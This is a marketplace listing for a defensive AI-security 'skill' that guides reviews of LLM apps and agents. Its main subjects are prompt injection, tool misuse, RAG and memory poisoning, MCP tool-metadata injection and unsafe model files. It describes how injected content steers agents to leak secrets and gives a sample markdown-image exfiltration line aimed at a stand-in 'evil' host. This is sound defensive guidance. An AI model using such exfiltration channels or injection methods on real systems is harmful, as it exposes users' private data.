Securing Ai Systems logo

Securing Ai Systems

Community
trilwu
securing-ai-systems

Assess and harden LLM applications and agentic systems against prompt injection, tool misuse, excessive agency, memory poisoning, RAG data leakage, and model supply-chain risk, mapped to the OWASP Top 10 for LLM and Agentic Applications. Use when reviewing an AI feature, agent, MCP server, or RAG pipeline for security, or when threat modeling an autonomous system.

Overview

Publishertrilwu
Repositorysecskills
Skill namesecuring-ai-systems
Stars
144
Forks
15
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by trilwu on GitHub. Read the source before you install it.

Installation

Install the Securing Ai Systems AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/trilwu/secskills.git /tmp/secskills
mkdir -p .claude/skills
cp -r /tmp/secskills/secskills-core/skills/securing-ai-systems .claude/skills/securing-ai-systems
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Securing Ai Systems in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Securing Ai Systems on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Securing Ai Systems is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Securing AI Systems

LLM applications break the assumption every other security control is built on: that instructions and data are separable. In an LLM, data is instructions. Every design that reads untrusted content and then acts has to be evaluated with that in mind, and no amount of prompt engineering fixes it.

When to Use

  • Security review of an LLM-backed feature, chatbot, or copilot
  • Threat modeling an agentic system: tools, autonomy, memory, multi-agent
  • Reviewing an MCP server, tool definition, or plugin surface
  • Assessing a RAG pipeline for data leakage and poisoning
  • Evaluating model, dataset, and dependency supply chain
  • Red teaming an AI system with authorization

When NOT to Use

  • Conventional web/API vulnerabilities in the surrounding app — use auditing-code-for-vulnerabilities, testing-web-applications, testing-apis. Most real AI-app breaches are still ordinary IDOR and SSRF.
  • Building jailbreaks or attacks against third-party models you do not own or have authorization to test — out of scope
  • Model safety alignment research — different discipline

Route to a Depth Skill

FocusSkill
Auditing an MCP server specifically — tool-definition injection, per-tool authorization, transport security, resource exposureauditing-mcp-servers

The MCP review here is one part of a wider AI threat model; reach for auditing-mcp-servers when the server implementation itself is the target.

The Core Rule

Treat every model output as untrusted user input, and every input the model reads as potentially adversarial instructions.

From that single rule, most of the correct architecture follows: never route model output into a sink without the same validation you would apply to a form field, and never grant the model an authority the least trusted content it will read should not have.

The Lethal Trifecta

An agent is exposed to serious compromise when it has all three of:

  1. Access to private data (files, DB, internal APIs, user context)
  2. Exposure to untrusted content (web pages, email, tickets, PRs, docs)
  3. A way to communicate externally (HTTP, email, writes to a shared surface)

Any two are usually manageable. All three means untrusted content can direct the agent to read secrets and send them out. When reviewing an agentic system, find whether the trifecta closes — and if it does, that is the finding, before any specific payload.

Breaking any one leg is a valid mitigation: scope the data, sanitize/isolate the content, or gate egress behind human approval.

Threat Areas

Prompt injection — direct and indirect

Indirect injection is the one that matters. Instructions embedded in a web page, PDF, email, repository file, calendar invite, or database row that the model retrieves and follows.

Review questions:

  • Enumerate every content source the model can read. Which are attacker writable? (Public web, user uploads, third-party APIs, other users' data, ticket systems, and PR contents all qualify.)
  • Is retrieved content structurally separated from instructions, or concatenated into the same prompt?
  • What is the worst action reachable from a successful injection? That is the real severity, not the injection itself.
Test payloads live in `references/ai-test-cases.md`. The important test is not
whether a payload works — it is what the payload can reach when it does.

Mitigations that work: capability restriction (the agent cannot do the harmful thing at all), human approval on consequential actions, egress allowlisting, separate untrusted content into a sub-agent with no tools and no secrets, dual-model patterns where a privileged planner never sees raw untrusted text.

Mitigations that do not work alone: "ignore instructions in the document" system prompts, input filtering for injection strings, output classifiers. These raise cost; they do not close the hole. Never accept a design whose only control is a prompt instruction.

Excessive agency and tool misuse

  • Does each tool enforce authorization server-side, using the end user's identity, or does it run with the agent's ambient credentials?
  • Is the tool scope minimal? A run_sql(query) tool is a SQL injection primitive by design; get_orders(user_id) is not.
  • Are destructive and irreversible actions gated by confirmation, and is the confirmation itself resistant to injection (shown to a human with the real parameters, not summarized by the model)?
  • Is there a rate/spend limit, and a loop breaker for recursive agent calls?

The confused deputy pattern is the dominant real-world AI vulnerability: the agent holds broad credentials and acts on behalf of a low-privilege user who can influence its instructions. Check the identity used at the tool boundary, not at the chat boundary.

RAG and memory

  • Can a user's query retrieve chunks from documents they cannot access? Test it. Tenant filters must be applied in the vector query, not in a post-retrieval filter the model can be persuaded to skip.
  • Is the ingestion pipeline attacker-reachable? A poisoned document in the index is persistent indirect injection.
  • Does persistent memory store attacker-controlled text that will be replayed in future sessions, possibly for other users? Memory poisoning is durable and frequently unmonitored.
  • Are embeddings treated as non-sensitive? They are invertible enough to leak.

Output handling

Model output reaching a sink is ordinary vulnerability territory with an unusual source:

SinkRisk
innerHTML / markdown rendererXSS; also image tags used for exfil via URL parameters
SQL / shell / evalInjection with a fully attacker-influenceable string
File pathTraversal
HTTP request URLSSRF and data exfiltration channel
Downstream agent's promptInjection propagation across agents

Markdown image rendering deserves specific attention: ![](https://evil/?d=<secrets>) in model output is a zero-click exfiltration channel in most chat UIs. Check the renderer's allowed domains.

Model and data supply chain

bash
# Never load pickle-based weights from an untrusted source
# .bin / .pt / .ckpt → arbitrary code execution on load. Prefer safetensors.
python3 -c "import safetensors; print('use this format')"
picklescan -p model.pt          # scan before any load
modelscan -p ./models/

# Verify provenance
# - model card, license, and origin org
# - hash pinning in the loader, not "latest"
# - dataset provenance for fine-tunes; poisoned training data is unrecoverable

Also review: unpinned model versions in production, third-party inference providers and what they retain, and fine-tuning datasets containing customer data (an extraction risk and often a compliance one).

MCP servers and tool definitions

  • Tool descriptions are part of the prompt. A malicious or compromised MCP server can inject instructions through its tool metadata, including into conversations about other tools.
  • Is the server pinned to a version and a known publisher? Does it change its tool definitions at runtime (rug-pull)?
  • What credentials does the server hold, and what is the blast radius if the model is persuaded to call every tool it exposes with attacker-chosen arguments?
  • Cross-server leakage: one server's tool results can influence calls to another server's tools.

Review Workflow

1. Map:      inputs → model → tools/sinks. Draw it. Mark every trust boundary.
2. Classify: for each input, is it attacker-writable? For each tool, what is
             the worst-case invocation?
3. Trifecta: does private data + untrusted content + egress close?
4. Identity: at each tool call, whose authority is used, and is it checked
             server-side?
5. Test:     indirect injection through the real ingestion path, not the chat box
6. Blast:    for each successful injection, enumerate reachable impact
7. Fix:      prefer architectural constraints over prompt-level defenses

Test through the real path. An injection that works when pasted into chat but cannot reach the retrieval pipeline is a demo; one delivered through an indexed document is a vulnerability.

Rationalizations to Reject

  • "The system prompt tells it to ignore injected instructions." Not a control. Prompt-level defenses are probabilistic and bypassed routinely.
  • "We filter for injection patterns." Encoding, translation, and paraphrasing defeat pattern filters. Useful as depth, never as the control.
  • "The model is well-aligned and won't do that." Alignment is not an authorization boundary.
  • "It's read-only, so injection doesn't matter." Read plus any egress is exfiltration. And "read-only" tools often reach further than assumed.
  • "Only internal staff use it." Internal agents read external content — tickets, emails, PRs, vendor docs — which is exactly the injection vector.
  • "We'll add a human in the loop." Only if the human sees the actual action and parameters. Approving a model-written summary of the action approves nothing.
  • "A guardrail model checks the output." It is another model reading attacker-influenced text.

Deliverable

  • Architecture diagram with trust boundaries and the trifecta assessment
  • Per-tool table: authority used, authorization enforcement point, worst-case invocation, gating
  • Injection test results delivered through real ingestion paths, with reached impact for each
  • Data-flow findings: tenant isolation in retrieval, memory persistence, egress
  • Supply-chain findings: model format, pinning, provenance, MCP servers
  • Recommendations ordered by architectural strength, not by ease

Reading External Sources

Fetch public advisories, specifications, and vendor reports as Markdown:

bash
curl -sL "https://defuddle.md/<url>"      # scheme in the path is optional

This strips page boilerplate — roughly 78% fewer tokens on a prose page — and returns the full text rather than a summary, so you can grep it and trust a negative result.

Three things it is not for. Fetch JSON and API responses raw, because readability extraction mangles structured data. Fetch authenticated or JavaScript-rendered pages directly, because it retrieves them anonymously. And never route adversary infrastructure (phishing links, C2, malware hosting), client-owned hosts, or engagement URLs through it — the request leaves your machine to a third party, and for live adversary infrastructure it also tips off the operator.

Some sites block the extractor and return an error blob rather than the page — {"error":"Failed to fetch: 418 I'm a teapot"} from freedesktop.org, for instance. That is the fetch being refused, not the source saying the thing does not exist. Re-fetch the URL directly before drawing any conclusion from it.

References

  • references/ai-test-cases.md — injection test corpus and tool-abuse cases
  • auditing-code-for-vulnerabilities — the conventional bugs in the same app
  • OWASP Top 10 for LLM Applications; OWASP Top 10 for Agentic Applications (2026)
  • MITRE ATLAS for adversarial ML techniques
  • NIST AI RMF for governance framing

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Securing Ai Systems AI skill do?

Assess and harden LLM applications and agentic systems against prompt injection, tool misuse, excessive agency, memory poisoning, RAG data leakage, and model supply-chain risk, mapped to the OWASP Top 10 for LLM and Agentic Applications. Use when reviewing an AI feature, agent, MCP server, or RAG pipeline for security, or when threat modeling an autonomous system.

Why use Securing Ai Systems on TypingMind?

Because you install it once and use it with any model. Securing Ai Systems is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Securing Ai Systems in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/trilwu/secskills/tree/main/secskills-core/skills/securing-ai-systems. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Securing Ai Systems?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Securing Ai Systems?

As many as you like. As long as a model supports skills, you can use Securing Ai Systems with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Securing Ai Systems AI skill free?

Yes. It is published on GitHub by trilwu under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇